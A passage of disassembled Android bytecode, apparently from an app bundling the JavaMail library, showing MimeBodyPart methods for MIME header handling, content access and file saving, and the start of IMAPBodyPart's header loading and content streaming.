:18A
0000018A  invoke-virtual          DataHandler->getContent()Object, v5
00000190  move-result-object      v1
00000192  goto/16                 :62
:196
00000196  invoke-virtual          DataHandler->getContent()Object, v5
0000019C  move-result-object      v1
0000019E  goto/16                 :62
:1A2
000001A2  new-instance            v3, MessagingException
000001A6  new-instance            v4, StringBuilder
000001AA  const-string            v5, "MIME part of type \""
000001AE  invoke-direct           StringBuilder-><init>(String)V, v4, v5
000001B4  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v2
000001BA  move-result-object      v2
000001BC  const-string            v4, "\" contains object of type "
000001C0  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v4
000001C6  move-result-object      v2
000001C8  invoke-virtual          Object->getClass()Class, v1
000001CE  move-result-object      v1
000001D0  invoke-virtual          Class->getName()String, v1
000001D6  move-result-object      v1
000001D8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000001DE  move-result-object      v1
000001E0  const-string            v2, " instead of MimeMultipart"
000001E4  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000001EA  move-result-object      v1
000001EC  invoke-virtual          StringBuilder->toString()String, v1
000001F2  move-result-object      v1
000001F4  invoke-direct           MessagingException-><init>(String)V, v3, v1
000001FA  throw                   v3
:1FC
000001FC  const-string            v7, "message/rfc822"
00000200  invoke-virtual          ContentType->match(String)Z, v6, v7
00000206  move-result             v7
00000208  if-eqz                  v7, :76
:20C
0000020C  move                    v1, v3
0000020E  goto/16                 :76
:212
00000212  invoke-static           MimeUtility->getDefaultMIMECharset()String
:218
00000218  move-result-object      v1
0000021A  goto/16                 :E4
:21E
0000021E  move-object             v1, v2
00000220  goto/16                 :F6
          .catch IOException {:12 .. :142} :146
          .catch IOException {:15E .. :218} :146
.end method

.method static writeTo(MimePart, OutputStream, [String)V
          .registers 6
00000000  instance-of             v0, p1, LineOutputStream
00000004  if-eqz                  v0, :50
:8
00000008  move-object             v0, p1
0000000A  check-cast              v0, LineOutputStream
0000000E  move-object             v1, v0
:10
00000010  invoke-interface        MimePart->getNonMatchingHeaderLines([String)Enumeration, p0, p2
00000016  move-result-object      v2
:18
00000018  invoke-interface        Enumeration->hasMoreElements()Z, v2
0000001E  move-result             v0
00000020  if-nez                  v0, :5E
:24
00000024  invoke-virtual          LineOutputStream->writeln()V, v1
0000002A  invoke-interface        MimePart->getEncoding()String, p0
00000030  move-result-object      v0
00000032  invoke-static           MimeUtility->encode(OutputStream, String)OutputStream, p1, v0
00000038  move-result-object      v0
0000003A  invoke-interface        MimePart->getDataHandler()DataHandler, p0
00000040  move-result-object      v1
00000042  invoke-virtual          DataHandler->writeTo(OutputStream)V, v1, v0
00000048  invoke-virtual          OutputStream->flush()V, v0
0000004E  return-void
:50
00000050  new-instance            v0, LineOutputStream
00000054  invoke-direct           LineOutputStream-><init>(OutputStream)V, v0, p1
0000005A  move-object             v1, v0
0000005C  goto                    :10
:5E
0000005E  invoke-interface        Enumeration->nextElement()Object, v2
00000064  move-result-object      v0
00000066  check-cast              v0, String
0000006A  invoke-virtual          LineOutputStream->writeln(String)V, v1, v0
00000070  goto                    :18
.end method

.method public addHeader(String, String)V
          .registers 4
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->addHeader(String, String)V, v0, p1, p2
0000000A  return-void
.end method

.method public addHeaderLine(String)V
          .registers 3
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->addHeaderLine(String)V, v0, p1
0000000A  return-void
.end method

.method public attachFile(File)V
          .registers 4
00000000  new-instance            v0, FileDataSource
00000004  invoke-direct           FileDataSource-><init>(File)V, v0, p1
0000000A  new-instance            v1, DataHandler
0000000E  invoke-direct           DataHandler-><init>(DataSource)V, v1, v0
00000014  invoke-virtual          MimeBodyPart->setDataHandler(DataHandler)V, p0, v1
0000001A  invoke-virtual          FileDataSource->getName()String, v0
00000020  move-result-object      v0
00000022  invoke-virtual          MimeBodyPart->setFileName(String)V, p0, v0
00000028  return-void
.end method

.method public attachFile(String)V
          .registers 3
00000000  new-instance            v0, File
00000004  invoke-direct           File-><init>(String)V, v0, p1
0000000A  invoke-virtual          MimeBodyPart->attachFile(File)V, p0, v0
00000010  return-void
.end method

.method public getAllHeaderLines()Enumeration
          .registers 2
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getAllHeaderLines()Enumeration, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getAllHeaders()Enumeration
          .registers 2
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getAllHeaders()Enumeration, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getContent()Object
          .registers 4
00000000  iget-object             v0, p0, MimeBodyPart->cachedContent:Object
00000004  if-eqz                  v0, :E
:8
00000008  iget-object             v0, p0, MimeBodyPart->cachedContent:Object
:C
0000000C  return-object           v0
:E
0000000E  invoke-virtual          MimeBodyPart->getDataHandler()DataHandler, p0
00000014  move-result-object      v0
00000016  invoke-virtual          DataHandler->getContent()Object, v0
:1C
0000001C  move-result-object      v0
0000001E  sget-boolean            v1, MimeBodyPart->cacheMultipart:Z
00000022  if-eqz                  v1, :C
:26
00000026  instance-of             v1, v0, Multipart
0000002A  if-nez                  v1, :36
:2E
0000002E  instance-of             v1, v0, Message
00000032  if-eqz                  v1, :C
:36
00000036  iget-object             v1, p0, MimeBodyPart->content:[B
0000003A  if-nez                  v1, :46
:3E
0000003E  iget-object             v1, p0, MimeBodyPart->contentStream:InputStream
00000042  if-eqz                  v1, :C
:46
00000046  iput-object             v0, p0, MimeBodyPart->cachedContent:Object
0000004A  goto                    :C
:4C
0000004C  move-exception          v0
0000004E  new-instance            v1, FolderClosedException
00000052  invoke-virtual          FolderClosedIOException->getFolder()Folder, v0
00000058  move-result-object      v2
0000005A  invoke-virtual          FolderClosedIOException->getMessage()String, v0
00000060  move-result-object      v0
00000062  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000068  throw                   v1
:6A
0000006A  move-exception          v0
0000006C  new-instance            v1, MessageRemovedException
00000070  invoke-virtual          MessageRemovedIOException->getMessage()String, v0
00000076  move-result-object      v0
00000078  invoke-direct           MessageRemovedException-><init>(String)V, v1, v0
0000007E  throw                   v1
          .catch FolderClosedIOException {:E .. :1C} :4C
          .catch MessageRemovedIOException {:E .. :1C} :6A
.end method

.method public getContentID()String
          .registers 3
00000000  const-string            v0, "Content-Id"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          MimeBodyPart->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getContentLanguage()[String
          .registers 2
00000000  invoke-static           MimeBodyPart->getContentLanguage(MimePart)[String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getContentMD5()String
          .registers 3
00000000  const-string            v0, "Content-MD5"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          MimeBodyPart->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method protected getContentStream()InputStream
          .registers 6
00000000  iget-object             v0, p0, MimeBodyPart->contentStream:InputStream
00000004  if-eqz                  v0, :22
:8
00000008  iget-object             v0, p0, MimeBodyPart->contentStream:InputStream
0000000C  check-cast              v0, SharedInputStream
00000010  const-wide/16           v1, 0x0
00000014  const-wide/16           v3, 0xFFFFFFFFFFFFFFFF
00000018  invoke-interface        SharedInputStream->newStream(J, J)InputStream, v0, v1, v2, v3, v4
0000001E  move-result-object      v0
:20
00000020  return-object           v0
:22
00000022  iget-object             v0, p0, MimeBodyPart->content:[B
00000026  if-eqz                  v0, :3A
:2A
0000002A  new-instance            v0, ByteArrayInputStream
0000002E  iget-object             v1, p0, MimeBodyPart->content:[B
00000032  invoke-direct           ByteArrayInputStream-><init>([B)V, v0, v1
00000038  goto                    :20
:3A
0000003A  new-instance            v0, MessagingException
0000003E  const-string            v1, "No content"
00000042  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000048  throw                   v0
.end method

.method public getContentType()String
          .registers 3
00000000  const-string            v0, "Content-Type"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          MimeBodyPart->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  if-nez                  v0, :16
:12
00000012  const-string            v0, "text/plain"
:16
00000016  return-object           v0
.end method

.method public getDataHandler()DataHandler
          .registers 3
00000000  iget-object             v0, p0, MimeBodyPart->dh:DataHandler
00000004  if-nez                  v0, :20
:8
00000008  new-instance            v0, DataHandler
0000000C  new-instance            v1, MimePartDataSource
00000010  invoke-direct           MimePartDataSource-><init>(MimePart)V, v1, p0
00000016  invoke-direct           DataHandler-><init>(DataSource)V, v0, v1
0000001C  iput-object             v0, p0, MimeBodyPart->dh:DataHandler
:20
00000020  iget-object             v0, p0, MimeBodyPart->dh:DataHandler
00000024  return-object           v0
.end method

.method public getDescription()String
          .registers 2
00000000  invoke-static           MimeBodyPart->getDescription(MimePart)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getDisposition()String
          .registers 2
00000000  invoke-static           MimeBodyPart->getDisposition(MimePart)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getEncoding()String
          .registers 2
00000000  invoke-static           MimeBodyPart->getEncoding(MimePart)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getFileName()String
          .registers 2
00000000  invoke-static           MimeBodyPart->getFileName(MimePart)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getHeader(String, String)String
          .registers 4
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getHeader(String, String)String, v0, p1, p2
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getHeader(String)[String
          .registers 3
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getHeader(String)[String, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getInputStream()InputStream
          .registers 2
00000000  invoke-virtual          MimeBodyPart->getDataHandler()DataHandler, p0
00000006  move-result-object      v0
00000008  invoke-virtual          DataHandler->getInputStream()InputStream, v0
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

.method public getLineCount()I
          .registers 2
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000002  return                  v0
.end method

.method public getMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getMatchingHeaderLines([String)Enumeration, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getMatchingHeaders([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getMatchingHeaders([String)Enumeration, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getNonMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getNonMatchingHeaderLines([String)Enumeration, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getNonMatchingHeaders([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getNonMatchingHeaders([String)Enumeration, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getRawInputStream()InputStream
          .registers 2
00000000  invoke-virtual          MimeBodyPart->getContentStream()InputStream, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getSize()I
          .registers 2
00000000  iget-object             v0, p0, MimeBodyPart->content:[B
00000004  if-eqz                  v0, :10
:8
00000008  iget-object             v0, p0, MimeBodyPart->content:[B
0000000C  array-length            v0, v0
:E
0000000E  return                  v0
:10
00000010  iget-object             v0, p0, MimeBodyPart->contentStream:InputStream
00000014  if-eqz                  v0, :28
:18
00000018  iget-object             v0, p0, MimeBodyPart->contentStream:InputStream
0000001C  invoke-virtual          InputStream->available()I, v0
:22
00000022  move-result             v0
00000024  if-gtz                  v0, :E
:28
00000028  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000002A  goto                    :E
:2C
0000002C  move-exception          v0
0000002E  goto                    :28
          .catch IOException {:18 .. :22} :2C
.end method

.method public isMimeType(String)Z
          .registers 3
00000000  invoke-static           MimeBodyPart->isMimeType(MimePart, String)Z, p0, p1
00000006  move-result             v0
00000008  return                  v0
.end method

.method public removeHeader(String)V
          .registers 3
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->removeHeader(String)V, v0, p1
0000000A  return-void
.end method

.method public saveFile(File)V
          .registers 7
00000000  const/4                 v1, 0x0
:2
00000002  new-instance            v2, BufferedOutputStream
00000006  new-instance            v0, FileOutputStream
0000000A  invoke-direct           FileOutputStream-><init>(File)V, v0, p1
00000010  invoke-direct           BufferedOutputStream-><init>(OutputStream)V, v2, v0
:16
00000016  invoke-virtual          MimeBodyPart->getInputStream()InputStream, p0
0000001C  move-result-object      v1
0000001E  const/16                v0, 0x2000
00000022  new-array               v0, v0, [B
:26
00000026  invoke-virtual          InputStream->read([B)I, v1, v0
:2C
0000002C  move-result             v3
0000002E  if-gtz                  v3, :48
:32
00000032  if-eqz                  v1, :3C
:36
00000036  invoke-virtual          InputStream->close()V, v1
:3C
0000003C  if-eqz                  v2, :46
:40
00000040  invoke-virtual          OutputStream->close()V, v2
:46
00000046  return-void
:48
00000048  const/4                 v4, 0x0
:4A
0000004A  invoke-virtual          OutputStream->write([B, I, I)V, v2, v0, v4, v3
:50
00000050  goto                    :26
:52
00000052  move-exception          v0
:54
00000054  if-eqz                  v1, :5E
:58
00000058  invoke-virtual          InputStream->close()V, v1
:5E
0000005E  if-eqz                  v2, :68
:62
00000062  invoke-virtual          OutputStream->close()V, v2
:68
00000068  throw                   v0
:6A
0000006A  move-exception          v1
0000006C  goto                    :5E
:6E
0000006E  move-exception          v1
00000070  goto                    :68
:72
00000072  move-exception          v0
00000074  goto                    :3C
:76
00000076  move-exception          v0
00000078  goto                    :46
:7A
0000007A  move-exception          v0
0000007C  move-object             v2, v1
0000007E  goto                    :54
          .catchall {:2 .. :16} :7A
          .catchall {:16 .. :2C} :52
          .catch IOException {:36 .. :3C} :72
          .catch IOException {:40 .. :46} :76
          .catchall {:4A .. :50} :52
          .catch IOException {:58 .. :5E} :6A
          .catch IOException {:62 .. :68} :6E
.end method

.method public saveFile(String)V
          .registers 3
00000000  new-instance            v0, File
00000004  invoke-direct           File-><init>(String)V, v0, p1
0000000A  invoke-virtual          MimeBodyPart->saveFile(File)V, p0, v0
00000010  return-void
.end method

.method public setContent(Object, String)V
          .registers 4
00000000  instance-of             v0, p1, Multipart
00000004  if-eqz                  v0, :14
:8
00000008  check-cast              p1, Multipart
0000000C  invoke-virtual          MimeBodyPart->setContent(Multipart)V, p0, p1
:12
00000012  return-void
:14
00000014  new-instance            v0, DataHandler
00000018  invoke-direct           DataHandler-><init>(Object, String)V, v0, p1, p2
0000001E  invoke-virtual          MimeBodyPart->setDataHandler(DataHandler)V, p0, v0
00000024  goto                    :12
.end method

.method public setContent(Multipart)V
          .registers 4
00000000  new-instance            v0, DataHandler
00000004  invoke-virtual          Multipart->getContentType()String, p1
0000000A  move-result-object      v1
0000000C  invoke-direct           DataHandler-><init>(Object, String)V, v0, p1, v1
00000012  invoke-virtual          MimeBodyPart->setDataHandler(DataHandler)V, p0, v0
00000018  invoke-virtual          Multipart->setParent(Part)V, p1, p0
0000001E  return-void
.end method

.method public setContentID(String)V
          .registers 3
00000000  if-nez                  p1, :10
:4
00000004  const-string            v0, "Content-ID"
00000008  invoke-virtual          MimeBodyPart->removeHeader(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  const-string            v0, "Content-ID"
00000014  invoke-virtual          MimeBodyPart->setHeader(String, String)V, p0, v0, p1
0000001A  goto                    :E
.end method

.method public setContentLanguage([String)V
          .registers 2
00000000  invoke-static           MimeBodyPart->setContentLanguage(MimePart, [String)V, p0, p1
00000006  return-void
.end method

.method public setContentMD5(String)V
          .registers 3
00000000  const-string            v0, "Content-MD5"
00000004  invoke-virtual          MimeBodyPart->setHeader(String, String)V, p0, v0, p1
0000000A  return-void
.end method

.method public setDataHandler(DataHandler)V
          .registers 3
00000000  iput-object             p1, p0, MimeBodyPart->dh:DataHandler
00000004  const/4                 v0, 0x0
00000006  iput-object             v0, p0, MimeBodyPart->cachedContent:Object
0000000A  invoke-static           MimeBodyPart->invalidateContentHeaders(MimePart)V, p0
00000010  return-void
.end method

.method public setDescription(String)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          MimeBodyPart->setDescription(String, String)V, p0, p1, v0
00000008  return-void
.end method

.method public setDescription(String, String)V
          .registers 3
00000000  invoke-static           MimeBodyPart->setDescription(MimePart, String, String)V, p0, p1, p2
00000006  return-void
.end method

.method public setDisposition(String)V
          .registers 2
00000000  invoke-static           MimeBodyPart->setDisposition(MimePart, String)V, p0, p1
00000006  return-void
.end method

.method public setFileName(String)V
          .registers 2
00000000  invoke-static           MimeBodyPart->setFileName(MimePart, String)V, p0, p1
00000006  return-void
.end method

.method public setHeader(String, String)V
          .registers 4
00000000  iget-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->setHeader(String, String)V, v0, p1, p2
0000000A  return-void
.end method

.method public setText(String)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          MimeBodyPart->setText(String, String)V, p0, p1, v0
00000008  return-void
.end method

.method public setText(String, String)V
          .registers 4
00000000  const-string            v0, "plain"
00000004  invoke-static           MimeBodyPart->setText(MimePart, String, String, String)V, p0, p1, p2, v0
0000000A  return-void
.end method

.method public setText(String, String, String)V
          .registers 4
00000000  invoke-static           MimeBodyPart->setText(MimePart, String, String, String)V, p0, p1, p2, p3
00000006  return-void
.end method

.method protected updateHeaders()V
          .registers 5
00000000  const/4                 v3, 0x0
00000002  invoke-static           MimeBodyPart->updateHeaders(MimePart)V, p0
00000008  iget-object             v0, p0, MimeBodyPart->cachedContent:Object
0000000C  if-eqz                  v0, :48
:10
00000010  new-instance            v0, DataHandler
00000014  iget-object             v1, p0, MimeBodyPart->cachedContent:Object
00000018  invoke-virtual          MimeBodyPart->getContentType()String, p0
0000001E  move-result-object      v2
00000020  invoke-direct           DataHandler-><init>(Object, String)V, v0, v1, v2
00000026  iput-object             v0, p0, MimeBodyPart->dh:DataHandler
0000002A  iput-object             v3, p0, MimeBodyPart->cachedContent:Object
0000002E  iput-object             v3, p0, MimeBodyPart->content:[B
00000032  iget-object             v0, p0, MimeBodyPart->contentStream:InputStream
00000036  if-eqz                  v0, :44
:3A
0000003A  iget-object             v0, p0, MimeBodyPart->contentStream:InputStream
0000003E  invoke-virtual          InputStream->close()V, v0
:44
00000044  iput-object             v3, p0, MimeBodyPart->contentStream:InputStream
:48
00000048  return-void
:4A
0000004A  move-exception          v0
0000004C  goto                    :44
          .catch IOException {:3A .. :44} :4A
.end method

.method public writeTo(OutputStream)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-static           MimeBodyPart->writeTo(MimePart, OutputStream, [String)V, p0, p1, v0
00000008  return-void
.end method

#--------------------------------------------------------------------------------
.class public IMAPBodyPart
.super MimeBodyPart
.source ""

.field private bs:BODYSTRUCTURE
.field private description:String
.field private headersLoaded:Z
.field private message:IMAPMessage
.field private sectionId:String
.field private type:String

.method protected constructor <init>(BODYSTRUCTURE, String, IMAPMessage)V
          .registers 8
00000000  invoke-direct           MimeBodyPart-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-boolean            v0, p0, IMAPBodyPart->headersLoaded:Z
0000000C  iput-object             p1, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000010  iput-object             p2, p0, IMAPBodyPart->sectionId:String
00000014  iput-object             p3, p0, IMAPBodyPart->message:IMAPMessage
00000018  new-instance            v0, ContentType
0000001C  iget-object             v1, p1, BODYSTRUCTURE->type:String
00000020  iget-object             v2, p1, BODYSTRUCTURE->subtype:String
00000024  iget-object             v3, p1, BODYSTRUCTURE->cParams:ParameterList
00000028  invoke-direct           ContentType-><init>(String, String, ParameterList)V, v0, v1, v2, v3
0000002E  invoke-virtual          ContentType->toString()String, v0
00000034  move-result-object      v0
00000036  iput-object             v0, p0, IMAPBodyPart->type:String
0000003A  return-void
.end method

.method private declared-synchronized loadHeaders()V
          .registers 6
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPBodyPart->headersLoaded:Z
:6
00000006  if-eqz                  v0, :E
:A
0000000A  monitor-exit            p0
0000000C  return-void
:E
0000000E  iget-object             v0, p0, IMAPBodyPart->headers:InternetHeaders
00000012  if-nez                  v0, :24
:16
00000016  new-instance            v0, InternetHeaders
0000001A  invoke-direct           InternetHeaders-><init>()V, v0
00000020  iput-object             v0, p0, IMAPBodyPart->headers:InternetHeaders
:24
00000024  iget-object             v0, p0, IMAPBodyPart->message:IMAPMessage
00000028  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, v0
0000002E  move-result-object      v1
00000030  monitor-enter           v1
:32
00000032  iget-object             v0, p0, IMAPBodyPart->message:IMAPMessage
00000036  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, v0
0000003C  move-result-object      v0
0000003E  iget-object             v2, p0, IMAPBodyPart->message:IMAPMessage
00000042  invoke-virtual          IMAPMessage->checkExpunged()V, v2
00000048  invoke-virtual          IMAPProtocol->isREV1()Z, v0
0000004E  move-result             v2
00000050  if-eqz                  v2, :11C
:54
00000054  iget-object             v2, p0, IMAPBodyPart->message:IMAPMessage
00000058  invoke-virtual          IMAPMessage->getSequenceNumber()I, v2
0000005E  move-result             v2
00000060  new-instance            v3, StringBuilder
00000064  iget-object             v4, p0, IMAPBodyPart->sectionId:String
00000068  invoke-static           String->valueOf(Object)String, v4
0000006E  move-result-object      v4
00000070  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000076  const-string            v4, ".MIME"
0000007A  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
00000080  move-result-object      v3
00000082  invoke-virtual          StringBuilder->toString()String, v3
00000088  move-result-object      v3
0000008A  invoke-virtual          IMAPProtocol->peekBody(I, String)BODY, v0, v2, v3
00000090  move-result-object      v0
00000092  if-nez                  v0, :D4
:96
00000096  new-instance            v0, MessagingException
0000009A  const-string            v2, "Failed to fetch headers"
0000009E  invoke-direct           MessagingException-><init>(String)V, v0, v2
000000A4  throw                   v0
:A6
000000A6  move-exception          v0
:A8
000000A8  new-instance            v2, FolderClosedException
000000AC  iget-object             v3, p0, IMAPBodyPart->message:IMAPMessage
000000B0  invoke-virtual          IMAPMessage->getFolder()Folder, v3
000000B6  move-result-object      v3
000000B8  invoke-virtual          ConnectionException->getMessage()String, v0
000000BE  move-result-object      v0
000000C0  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, v3, v0
000000C6  throw                   v2
:C8
000000C8  move-exception          v0
000000CA  monitor-exit            v1
:CC
000000CC  throw                   v0
:CE
000000CE  move-exception          v0
000000D0  monitor-exit            p0
000000D2  throw                   v0
:D4
000000D4  invoke-virtual          BODY->getByteArrayInputStream()ByteArrayInputStream, v0
000000DA  move-result-object      v0
000000DC  if-nez                  v0, :106
:E0
000000E0  new-instance            v0, MessagingException
000000E4  const-string            v2, "Failed to fetch headers"
000000E8  invoke-direct           MessagingException-><init>(String)V, v0, v2
000000EE  throw                   v0
:F0
000000F0  move-exception          v0
:F2
000000F2  new-instance            v2, MessagingException
000000F6  invoke-virtual          ProtocolException->getMessage()String, v0
000000FC  move-result-object      v3
000000FE  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000104  throw                   v2
:106
00000106  iget-object             v2, p0, IMAPBodyPart->headers:InternetHeaders
0000010A  invoke-virtual          InternetHeaders->load(InputStream)V, v2, v0
:110
00000110  monitor-exit            v1
:112
00000112  const/4                 v0, 0x1
:114
00000114  iput-boolean            v0, p0, IMAPBodyPart->headersLoaded:Z
:118
00000118  goto/16                 :A
:11C
0000011C  iget-object             v0, p0, IMAPBodyPart->headers:InternetHeaders
00000120  const-string            v2, "Content-Type"
00000124  iget-object             v3, p0, IMAPBodyPart->type:String
00000128  invoke-virtual          InternetHeaders->addHeader(String, String)V, v0, v2, v3
0000012E  iget-object             v0, p0, IMAPBodyPart->headers:InternetHeaders
00000132  const-string            v2, "Content-Transfer-Encoding"
00000136  iget-object             v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000013A  iget-object             v3, v3, BODYSTRUCTURE->encoding:String
0000013E  invoke-virtual          InternetHeaders->addHeader(String, String)V, v0, v2, v3
00000144  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000148  iget-object             v0, v0, BODYSTRUCTURE->description:String
0000014C  if-eqz                  v0, :166
:150
00000150  iget-object             v0, p0, IMAPBodyPart->headers:InternetHeaders
00000154  const-string            v2, "Content-Description"
00000158  iget-object             v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000015C  iget-object             v3, v3, BODYSTRUCTURE->description:String
00000160  invoke-virtual          InternetHeaders->addHeader(String, String)V, v0, v2, v3
:166
00000166  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000016A  iget-object             v0, v0, BODYSTRUCTURE->id:String
0000016E  if-eqz                  v0, :188
:172
00000172  iget-object             v0, p0, IMAPBodyPart->headers:InternetHeaders
00000176  const-string            v2, "Content-ID"
0000017A  iget-object             v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000017E  iget-object             v3, v3, BODYSTRUCTURE->id:String
00000182  invoke-virtual          InternetHeaders->addHeader(String, String)V, v0, v2, v3
:188
00000188  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000018C  iget-object             v0, v0, BODYSTRUCTURE->md5:String
00000190  if-eqz                  v0, :110
:194
00000194  iget-object             v0, p0, IMAPBodyPart->headers:InternetHeaders
00000198  const-string            v2, "Content-MD5"
0000019C  iget-object             v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
000001A0  iget-object             v3, v3, BODYSTRUCTURE->md5:String
000001A4  invoke-virtual          InternetHeaders->addHeader(String, String)V, v0, v2, v3
:1AA
000001AA  goto                    :110
          .catchall {:2 .. :6} :CE
          .catchall {:E .. :32} :CE
          .catch ConnectionException {:32 .. :A6} :A6
          .catch ProtocolException {:32 .. :A6} :F0
          .catchall {:32 .. :A6} :C8
          .catchall {:A8 .. :CC} :C8
          .catchall {:CC .. :CE} :CE
          .catch ConnectionException {:D4 .. :F0} :A6
          .catch ProtocolException {:D4 .. :F0} :F0
          .catchall {:D4 .. :F0} :C8
          .catchall {:F2 .. :106} :C8
          .catch ConnectionException {:106 .. :110} :A6
          .catch ProtocolException {:106 .. :110} :F0
          .catchall {:106 .. :110} :C8
          .catchall {:110 .. :112} :C8
          .catchall {:114 .. :118} :CE
          .catch ConnectionException {:11C .. :1AA} :A6
          .catch ProtocolException {:11C .. :1AA} :F0
          .catchall {:11C .. :1AA} :C8
.end method

.method public addHeader(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public addHeaderLine(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public getAllHeaderLines()Enumeration
          .registers 2
00000000  invoke-direct           IMAPBodyPart->loadHeaders()V, p0
00000006  invoke-super            MimeBodyPart->getAllHeaderLines()Enumeration, p0
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getAllHeaders()Enumeration
          .registers 2
00000000  invoke-direct           IMAPBodyPart->loadHeaders()V, p0
00000006  invoke-super            MimeBodyPart->getAllHeaders()Enumeration, p0
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getContentID()String
          .registers 2
00000000  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004  iget-object             v0, v0, BODYSTRUCTURE->id:String
00000008  return-object           v0
.end method

.method public getContentMD5()String
          .registers 2
00000000  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004  iget-object             v0, v0, BODYSTRUCTURE->md5:String
00000008  return-object           v0
.end method

.method protected getContentStream()InputStream
          .registers 7
00000000  const/4                 v0, 0x0
00000002  iget-object             v1, p0, IMAPBodyPart->message:IMAPMessage
00000006  invoke-virtual          IMAPMessage->getPeek()Z, v1
0000000C  move-result             v1
0000000E  iget-object             v2, p0, IMAPBodyPart->message:IMAPMessage
00000012  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, v2
00000018  move-result-object      v2
0000001A  monitor-enter           v2
:1C
0000001C  iget-object             v3, p0, IMAPBodyPart->message:IMAPMessage
00000020  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, v3
00000026  move-result-object      v3
00000028  iget-object             v4, p0, IMAPBodyPart->message:IMAPMessage
0000002C  invoke-virtual          IMAPMessage->checkExpunged()V, v4
00000032  invoke-virtual          IMAPProtocol->isREV1()Z, v3
00000038  move-result             v4
0000003A  if-eqz                  v4, :6E
:3E
